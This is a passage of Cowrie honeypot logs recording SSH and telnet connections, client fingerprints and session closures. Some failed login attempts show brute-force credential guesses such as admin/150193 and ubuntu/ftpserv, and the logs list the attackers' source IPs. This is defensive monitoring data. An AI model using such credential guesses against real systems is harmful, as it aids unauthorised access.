a-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:21.939335Z","src_ip":"78.128.112.74","session":"dfe3b9a4f3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1!","message":"login attempt [user/1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:23.046124Z","src_ip":"78.128.112.74","session":"dfe3b9a4f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:24.166017Z","src_ip":"78.128.112.74","session":"dfe3b9a4f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55340,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ffe31a6a243","protocol":"telnet","message":"New connection: 161.97.105.174:55340 (159.203.135.109:23) [session: 4ffe31a6a243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:33.342498Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55356,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab118e32596b","protocol":"telnet","message":"New connection: 161.97.105.174:55356 (159.203.135.109:23) [session: ab118e32596b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:36.166774Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34954,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65256dc093d","protocol":"telnet","message":"New connection: 64.227.101.30:34954 (10.17.0.5:23) [session: a65256dc093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:38.582829Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9221c7a97b2","protocol":"telnet","message":"New connection: 161.97.105.174:40864 (159.203.135.109:23) [session: c9221c7a97b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:39.225840Z"}
{"eventid":"cowrie.session.closed","duration":35.26117300987244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:43.878151Z","src_ip":"161.97.105.174","session":"f8bdb32f03b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62717533111572,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:44.756299Z","src_ip":"161.97.105.174","session":"9a2609842010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aec45a7ffc4","protocol":"telnet","message":"New connection: 64.227.101.30:39250 (10.17.0.5:23) [session: 2aec45a7ffc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:45.483191Z"}
{"eventid":"cowrie.session.closed","duration":31.203490257263184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:49.396658Z","src_ip":"64.227.101.30","session":"5e61b2118f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"116fbb42e5ac","protocol":"ssh","message":"New connection: 209.99.189.174:53334 (10.17.0.5:22) [session: 116fbb42e5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:51.413177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:51.418302Z","src_ip":"209.99.189.174","session":"116fbb42e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96191596984863,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:51.485242Z","src_ip":"161.97.105.174","session":"c3d7094fcb47","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:51.550902Z","src_ip":"209.99.189.174","session":"116fbb42e5ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp","message":"login attempt [ftp_user/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:52.100523Z","src_ip":"209.99.189.174","session":"116fbb42e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b98e4712491","protocol":"telnet","message":"New connection: 161.97.105.174:50736 (159.203.135.109:23) [session: 8b98e4712491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:52.799020Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:53.233196Z","src_ip":"209.99.189.174","session":"116fbb42e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50748,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f42ac7a942","protocol":"telnet","message":"New connection: 161.97.105.174:50748 (159.203.135.109:23) [session: 58f42ac7a942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:53.922182Z"}
{"eventid":"cowrie.session.closed","duration":33.11813712120056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:54.877508Z","src_ip":"161.97.105.174","session":"e3849b7424ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.778629779815674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:56.136225Z","src_ip":"161.97.105.174","session":"b65e819f80aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47140,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f70949b93b","protocol":"telnet","message":"New connection: 161.97.105.174:47140 (159.203.135.109:23) [session: 65f70949b93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:38:59.029714Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"818e0c89d1f9","protocol":"telnet","message":"New connection: 161.97.105.174:47144 (159.203.135.109:23) [session: 818e0c89d1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:05.840390Z"}
{"eventid":"cowrie.session.closed","duration":33.328253746032715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:06.670613Z","src_ip":"161.97.105.174","session":"4ffe31a6a243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.101927042007446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:09.268574Z","src_ip":"161.97.105.174","session":"ab118e32596b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58182,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a2518476978","protocol":"telnet","message":"New connection: 161.97.105.174:58182 (159.203.135.109:23) [session: 7a2518476978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:13.750132Z"}
{"eventid":"cowrie.session.closed","duration":34.75460696220398,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:13.981034Z","src_ip":"161.97.105.174","session":"c9221c7a97b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22317433357239,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:15.805869Z","src_ip":"64.227.101.30","session":"a65256dc093d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166472911834717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:16.649538Z","src_ip":"64.227.101.30","session":"2aec45a7ffc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31479,"dst_ip":"159.203.135.109","dst_port":22,"session":"061abcbf54e0","protocol":"ssh","message":"New connection: 2.57.121.112:31479 (159.203.135.109:22) [session: 061abcbf54e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:17.767203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:17.774584Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:17.881216Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150193","message":"login attempt [admin/150193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:18.382782Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15011970","message":"login attempt [admin/15011970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:19.492387Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40674,"dst_ip":"159.203.135.109","dst_port":23,"session":"4966b6dae5d5","protocol":"telnet","message":"New connection: 161.97.105.174:40674 (159.203.135.109:23) [session: 4966b6dae5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:20.025282Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1445","message":"login attempt [admin/1445] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:20.605705Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14344","message":"login attempt [admin/14344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:21.717062Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1433","message":"login attempt [admin/1433] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:22.828743Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:23.937698Z","src_ip":"2.57.121.112","session":"061abcbf54e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00174045562744,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:27.800663Z","src_ip":"161.97.105.174","session":"8b98e4712491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.718053102493286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:28.640182Z","src_ip":"161.97.105.174","session":"58f42ac7a942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.52249932289124,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:29.994948Z","src_ip":"64.227.101.30","session":"5e40a929ad06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43535089492798,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:32.464942Z","src_ip":"161.97.105.174","session":"65f70949b93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51140,"dst_ip":"159.203.135.109","dst_port":23,"session":"59c0b8c3afcf","protocol":"telnet","message":"New connection: 161.97.105.174:51140 (159.203.135.109:23) [session: 59c0b8c3afcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:33.768584Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"c963a3e7687e","protocol":"telnet","message":"New connection: 64.227.101.30:56166 (10.17.0.5:23) [session: c963a3e7687e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:34.348653Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"4424a86c058b","protocol":"telnet","message":"New connection: 64.227.101.30:55888 (10.17.0.5:23) [session: 4424a86c058b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:35.395595Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51142,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c313ba7cba","protocol":"telnet","message":"New connection: 161.97.105.174:51142 (159.203.135.109:23) [session: 31c313ba7cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:35.582867Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c41536a0a42","protocol":"telnet","message":"New connection: 161.97.105.174:51152 (159.203.135.109:23) [session: 5c41536a0a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:36.336885Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a7ec49d94e2","protocol":"telnet","message":"New connection: 161.97.105.174:51158 (159.203.135.109:23) [session: 6a7ec49d94e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:37.234317Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45652,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2bfe90c22fb","protocol":"telnet","message":"New connection: 161.97.105.174:45652 (159.203.135.109:23) [session: c2bfe90c22fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:38.980200Z"}
{"eventid":"cowrie.session.closed","duration":33.368977546691895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:39.209217Z","src_ip":"161.97.105.174","session":"818e0c89d1f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49128,"dst_ip":"10.17.0.5","dst_port":23,"session":"425b9c91bf91","protocol":"telnet","message":"New connection: 64.227.101.30:49128 (10.17.0.5:23) [session: 425b9c91bf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:41.443921Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45664,"dst_ip":"159.203.135.109","dst_port":23,"session":"5136e17a66eb","protocol":"telnet","message":"New connection: 161.97.105.174:45664 (159.203.135.109:23) [session: 5136e17a66eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:41.821625Z"}
{"eventid":"cowrie.session.closed","duration":0.45714282989501953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:41.900866Z","src_ip":"64.227.101.30","session":"425b9c91bf91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":50716,"dst_ip":"10.17.0.5","dst_port":22,"session":"1574665c849f","protocol":"ssh","message":"New connection: 209.99.189.174:50716 (10.17.0.5:22) [session: 1574665c849f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:43.359332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:43.370066Z","src_ip":"209.99.189.174","session":"1574665c849f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:43.499250Z","src_ip":"209.99.189.174","session":"1574665c849f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ftpserv","message":"login attempt [ubuntu/ftpserv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:44.048788Z","src_ip":"209.99.189.174","session":"1574665c849f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:45.186719Z","src_ip":"209.99.189.174","session":"1574665c849f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.87757229804993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:46.627576Z","src_ip":"161.97.105.174","session":"7a2518476978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":45931,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e9d31955857","protocol":"ssh","message":"New connection: 103.170.173.26:45931 (10.17.0.5:22) [session: 9e9d31955857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:52.761019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:52.767344Z","src_ip":"103.170.173.26","session":"9e9d31955857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:39:53.040485Z","src_ip":"103.170.173.26","session":"9e9d31955857","protocol":"ssh"}
